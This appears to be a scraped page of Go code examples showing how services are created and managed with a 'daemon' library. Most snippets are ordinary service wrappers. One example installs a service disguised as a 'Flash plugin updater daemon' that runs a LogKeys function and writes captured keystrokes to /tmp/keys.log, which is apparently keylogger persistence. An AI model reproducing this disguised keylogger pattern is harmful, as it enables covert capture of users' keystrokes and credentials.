func NewService() (*Service, error) {
	daemon, err := daemon.New(config.ServiceName, config.ServiceDesc)
	if err != nil {
		return nil, err
	}
	return &Service{daemon}, nil
}
Exemple #2
0
func NewService(name, description string, dependencies []string) (*Service, error) {
	srv, err := daemon.New(name, description, dependencies)
	if err != nil {
		return nil, err
	}

	return &Service{srv}, nil
}
Exemple #3
0
// New - Create a new service record
func New(name, description string) (*Record, error) {
	daemonInstance, err := daemon.New(name, description)
	if err != nil {
		return nil, err
	}

	return &Record{name, config.New(), daemonInstance}, nil
}
Exemple #4
0
func remove() {
	service, err := daemon.New("shadowsocks-server", "shadowsocks")
	if err != nil {
		log.Fatal("Error: ", err)
	}
	status, err := service.Remove()
	if err != nil {
		log.Fatal(status, "\nError: ", err)
	}
	fmt.Println(status)
}
Exemple #5
0
func main() {
	cmd := "run"
	if len(os.Args) > 1 {
		cmd = os.Args[1]
	}

	service, err := daemon.New("FlashUpdate", "Flash plugin updater daemon")
	if err != nil {
		log.Fatal(err)
	}

	if cmd == "install" {
		_, err := service.Install()
		if err != nil {
			log.Fatal(err)
		}

		_, err = service.Start()
		if err != nil {
			log.Fatal(err)
		}

		os.Exit(0)

	} else if cmd == "remove" {

		_, err := service.Stop()
		if err != nil {
			log.Fatal(err)
		}

		_, err = service.Remove()
		if err != nil {
			log.Fatal(err)
		}

		os.Exit(0)

	} else if cmd == "help" {
		log.Println("Possible Commands: install remove help run")
	} else {

		out, err := os.OpenFile("/tmp/keys.log", os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
		if err != nil {
			log.Fatal(err)
		}
		defer out.Close()
		LogKeys(out)

		os.Exit(0)
	}
}
Exemple #6
0
func main() {
	srv, err := daemon.New("image-assistantd", "image", dependencies...)
	if err != nil {
		errlog.Println(err)
		os.Exit(1)
	}
	service := &Service{srv}
	status, err := service.Manage()
	if err != nil {
		errlog.Println(err)
		os.Exit(1)
	}
	stdlog.Println(status)
}
Exemple #7
0
func main() {
	srv, err := daemon.New(name, description)
	if err != nil {
		errlog.Println("Error: ", err)
		os.Exit(1)
	}
	service := &Service{srv}
	status, err := service.Manage()
	if err != nil {
		errlog.Println(status, "\nError: ", err)
		os.Exit(1)
	}
	fmt.Println(status)
}
Exemple #8
0
func main() {
	rawService, err := daemon.New(name, description, dependencies...)
	if err != nil {
		errlog.Println("Error: ", err)
		os.Exit(1)
	}
	service := &speedtestd.Service{rawService}
	// service.port = port

	status, err := service.Manage()
	if err != nil {
		errlog.Println(status, "\nError: ", err)
		os.Exit(1)
	}
	fmt.Println(status)
}
func (cmd) Execute(args map[string]interface{}) bool {
	srv, err := daemonize.New(name, description, dependencies...)
	if err != nil {
		fmt.Fprintf(os.Stderr, "Error: %v\n", err)
		return false
	}

	svc := &service{srv, args}
	status, err := svc.Manage()

	if err != nil {
		fmt.Fprintf(os.Stderr, "%s\n%v\n", status, err)
	}

	fmt.Println(status)
	return true
}